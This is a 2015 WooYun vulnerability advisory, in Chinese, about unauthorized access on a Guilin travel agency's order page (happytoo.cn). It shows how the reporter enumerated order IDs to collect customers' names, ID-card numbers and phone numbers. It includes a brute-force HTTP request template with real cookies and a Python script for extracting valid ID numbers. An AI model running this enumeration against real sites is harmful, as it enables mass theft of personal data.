当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0126381

漏洞标题:桂林市南北假日国际旅游有限责任公司泄漏几十万用户信息(姓名,身份证,手机)

相关厂商:桂林市南北假日国际旅游有限责任公司

漏洞作者: prolog

提交时间:2015-07-13 10:29

修复时间:2015-08-27 10:30

公开时间:2015-08-27 10:30

漏洞类型:未授权访问/权限绕过

危害等级:高

自评Rank:20

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-07-13: 积极联系厂商并且等待厂商认领中,细节不对外公开
2015-08-27: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

桂林市南北假日国际旅游有限责任公司泄漏几十万用户信息(姓名,身份证,手机)

详细说明:

1.百度得到url
https://www.baidu.com/s?ie=UTF-8&wd=inurl%3Ahttp%3A//www.happytoo.cn/seller.line.confirm.html%3Foid=
http://www.happytoo.cn/seller.line.confirm.html?oid=549821&mid=148885&cid=19679

nanb.PNG


2.参数组成分析
http://www.happytoo.cn/seller.line.confirm.html?oid=549445&mid=148885&cid=19679
oid订单号
mid不明
cid不明
oid范围从12035到688979,中间少部分无效,可以爆破的数据应该很大..由于是团队旅游,这个范围数据量应该有几十万..
http://www.happytoo.cn/seller.line.confirm.html?oid=12035&mid=148885&cid=19679
...
http://www.happytoo.cn/seller.line.confirm.html?oid=688979&mid=148885&cid=19679
以&mid=148885&cid=19679固定值进行爆破54XXXX中的0001-9999共5000组数据(经测试在这个范围oid是奇数才有效),保存进行文件处理,统计得到有效的姓名-身份证号16612个,部分还有手机号。

GET /seller.line.confirm.html?oid=54§9445§&mid=148885&cid=19679 HTTP/1.1
Host: www.happytoo.cn
Proxy-Connection: keep-alive
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.130 Safari/537.36
Accept-Encoding: gzip, deflate, sdch
Accept-Language: zh-CN,zh;q=0.8
Cookie: www_happytoo_cn_web_siteid=6980bc28bb720960eadbecacb089c63dbcc04b5c%7E219; ltoken=2120f3e9c45e109d149093047466b030a8b61fe8%7E1436731333


统计代码如下,对比有效和无效页面,得到特征进行过滤,只统计包含有效身份证号的

chaxun.PNG


#! /usr/bin/env python
#coding=gbk
import os
#客人名单的开始和结束
begin='<td colspan="5" style="padding:3pt 5pt; width:400pt; font-size:9pt;border-bottom:none!important;">'
end='</td>'
count=0
for i in open(r'e:\asfaf').read().split(begin):
j=i.split(end)[0] #取到含0-多个客人名单的区段
if '(' in j and ')' in j:#身份证段一定有()
for k in j.split('\n'):#身份证段一定有-和(),有效的身份证中括号内为18位
if '(' in k and ')' in k and len(k[k.find('(')+1:k.find(')')])==18 and '-' in k:
count+=1
print k
print count


漏洞证明:

...

修复方案:

...

版权声明:转载请注明来源 prolog@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝